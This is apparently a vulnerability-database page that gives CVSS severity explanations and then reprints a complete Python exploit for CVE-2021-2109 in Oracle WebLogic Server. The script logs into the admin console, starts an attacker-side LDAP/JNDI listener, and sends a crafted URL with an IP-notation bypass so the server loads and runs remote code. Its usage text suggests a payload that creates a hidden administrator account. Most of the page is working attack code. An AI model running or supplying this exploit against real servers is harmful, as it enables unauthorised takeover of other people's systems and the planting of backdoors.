The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Oracle WebLogic Server 14.1.1.0 Remote Code Execution
# Exploit Title: Oracle WebLogic Server 14.1.1.0 - RCE (Authenticated)
# Date: 2021-01-21
# Exploit Author: Photubias
# Vendor Advisory: [1] https://www.oracle.com/security-alerts/cpujan2021.html
# Vendor Homepage: https://www.oracle.com
# Version: WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0 (fixed in JDKs 6u201, 7u191, 8u182 & 11.0.1)
# Tested on: WebLogic 14.1.1.0 with JDK-8u181 on Windows 10 20H2
# CVE: CVE-2021-2109
#!/usr/bin/env python3
'''
Copyright 2021 Photubias(c)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
File name CVE-2021-2109.py
written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be
This is a native implementation without requirements, written in Python 3.
Works equally well on Windows as Linux (as MacOS, probably ;-)
Requires JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
from https://github.com/welk1n/JNDI-Injection-Exploit
to be in the same folder
'''
import urllib.request, urllib.parse, http.cookiejar, ssl
import sys, os, optparse, subprocess, threading, time
## Static vars; change at will, but recommend leaving as is
sURL = 'http://192.168.0.100:7001'
iTimeout = 5
oRun = None
## Ignore unsigned certs, if any because WebLogic is default HTTP
ssl._create_default_https_context = ssl._create_unverified_context
class runJar(threading.Thread):
def __init__(self, sJarFile, sCMD, sAddress):
self.stdout = []
self.stderr = ''
self.cmd = sCMD
self.addr = sAddress
self.jarfile = sJarFile
self.proc = None
threading.Thread.__init__(self)
def run(self):
self.proc = subprocess.Popen(['java', '-jar', self.jarfile, '-C', self.cmd, '-A', self.addr], shell=False, stdout = subprocess.PIPE, stderr = subprocess.PIPE, universal_newlines=True)
for line in iter(self.proc.stdout.readline, ''): self.stdout.append(line)
for line in iter(self.proc.stderr.readline, ''): self.stderr += line
def findJNDI():
sCurDir = os.getcwd()
sFile = ''
for file in os.listdir(sCurDir):
if 'JNDI' in file and '.jar' in file:
sFile = file
print('[+] Found and using ' + sFile)
return sFile
def findJAVA(bVerbose):
try:
oProc = subprocess.Popen('java -version', stdout = subprocess.PIPE, stderr = subprocess.STDOUT)
except:
exit('[-] Error: java not found, needed to run the JAR file\n Please make sure to have "java" in your path.')
sResult = list(oProc.stdout)[0].decode()
if bVerbose: print('[+] Found Java: ' + sResult)
def checkParams(options, args):
if args: sHost = args[0]
else:
sHost = input('[?] Please enter the URL ['+sURL+'] : ')
if sHost == '': sHost = sURL
if sHost[-1:] == '/': sHost = sHost[:-1]
if not sHost[:4].lower() == 'http': sHost = 'http://' + sHost
if options.username: sUser = options.username
else:
sUser = input('[?] Username [weblogic] : ')
if sUser == '': sUser = 'weblogic'
if options.password: sPass = options.password
else:
sPass = input('[?] Password [Passw0rd-] : ')
if sPass == '': sPass = 'Passw0rd-'
if options.command: sCMD = options.command
else:
sCMD = input('[?] Command to run [calc] : ')
if sCMD == '': sCMD = 'calc'
if options.listenaddr: sLHOST = options.listenaddr
else:
sLHOST = input('[?] Local IP to connect back to [192.168.0.10] : ')
if sLHOST == '': sLHOST = '192.168.0.10'
if options.verbose: bVerbose = True
else: bVerbose = False
return (sHost, sUser, sPass, sCMD, sLHOST, bVerbose)
def startListener(sJarFile, sCMD, sAddress, bVerbose):
global oRun
oRun = runJar(sJarFile, sCMD, sAddress)
oRun.start()
print('[!] Starting listener thread and waiting 3 seconds to retrieve the endpoint')
oRun.join(3)
if not oRun.stderr == '':
exit('[-] Error starting Java listener:\n' + oRun.stderr)
bThisLine=False
if bVerbose: print('[!] For this to work, make sure your firewall is configured to be reachable on 1389 & 8180')
for line in oRun.stdout:
if bThisLine: return line.split('/')[3].replace('\n','')
if 'JDK 1.8' in line: bThisLine = True
def endIt():
global oRun
print('[+] Closing threads')
if oRun: oRun.proc.terminate()
exit(0)
def main():
usage = (
'usage: %prog [options] URL \n'
' Make sure to have "JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar"\n'
' in the current working folder\n'
'Get it here: https://github.com/welk1n/JNDI-Injection-Exploit\n'
'Only works when hacker is reachable via an IPv4 address\n'
'Use "whoami" to just verify the vulnerability (OPSEC safe but no output)\n'
'Example: CVE-2021-2109.py -u weblogic -p Passw0rd -c calc -l 192.168.0.10 http://192.168.0.100:7001\n'
'Sample payload as admin: cmd /c net user pwned Passw0rd- /add & net localgroup administrators pwned /add'
)
parser = optparse.OptionParser(usage=usage)
parser.add_option('--username', '-u', dest='username')
parser.add_option('--password', '-p', dest='password')
parser.add_option('--command', '-c', dest='command')
parser.add_option('--listen', '-l', dest='listenaddr')
parser.add_option('--verbose', '-v', dest='verbose', action="store_true", default=False)
## Get or ask for the vars
(options, args) = parser.parse_args()
(sHost, sUser, sPass, sCMD, sLHOST, bVerbose) = checkParams(options, args)
## Verify Java and JAR file
sJarFile = findJNDI()
findJAVA(bVerbose)
## Keep track of cookies between requests
cj = http.cookiejar.CookieJar()
oOpener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
print('[+] Verifying reachability')
## Get the cookie
oRequest = urllib.request.Request(url = sHost + '/console/')
oResponse = oOpener.open(oRequest, timeout = iTimeout)
for c in cj:
if c.name == 'ADMINCONSOLESESSION':
if bVerbose: print('[+] Got cookie "' + c.value + '"')
## Logging in
lData = {'j_username' : sUser, 'j_password' : sPass, 'j_character_encoding' : 'UTF-8'}
lHeaders = {'Referer' : sHost + '/console/login/LoginForm.jsp'}
oRequest = urllib.request.Request(url = sHost + '/console/j_security_check', data = urllib.parse.urlencode(lData).encode(), headers = lHeaders)
oResponse = oOpener.open(oRequest, timeout = iTimeout)
sResult = oResponse.read().decode(errors='ignore').split('\r\n')
bSuccess = True
for line in sResult:
if 'Authentication Denied' in line: bSuccess = False
if bSuccess: print('[+] Succesfully logged in!\n')
else: exit('[-] Authentication Denied')
## Launch the LDAP listener and retrieve the random endpoint value
sRandom = startListener(sJarFile, sCMD, sLHOST, bVerbose)
if bVerbose: print('[+] Got Java value: ' + sRandom)
## This is the actual vulnerability, retrieve LDAP data from victim which the runs on victim, it bypasses verification because IP is written as "127.0.0;1" instead of "127.0.0.1"
print('\n[+] Firing exploit now, hold on')
## http://192.168.0.100:7001/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(-ldap://192.168.0;10:1389/5r5mu7;AdminServer-)
sConvertedIP = sLHOST.split('.')[0] + '.' + sLHOST.split('.')[1] + '.' + sLHOST.split('.')[2] + ';' + sLHOST.split('.')[3]
sFullUrl = sHost + r'/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://' + sConvertedIP + ':1389/' + sRandom + r';AdminServer%22)'
if bVerbose: print('[!] Using URL ' + sFullUrl)
oRequest = urllib.request.Request(url = sFullUrl, headers = lHeaders)
oResponse = oOpener.open(oRequest, timeout = iTimeout)
time.sleep(5)
bExploitWorked = False
for line in oRun.stdout:
if 'Log a request' in line: bExploitWorked = True
if 'BypassByEl' in line: print('[-] Exploit failed, wrong SDK on victim')
if not bExploitWorked: print('[-] Exploit failed, victim likely patched')
else: print('[+] Victim vulnerable, exploit worked (could be as limited account!)')
if bVerbose: print(oRun.stderr)
endIt()
if __name__ == "__main__":
try: main()
except KeyboardInterrupt: endIt()
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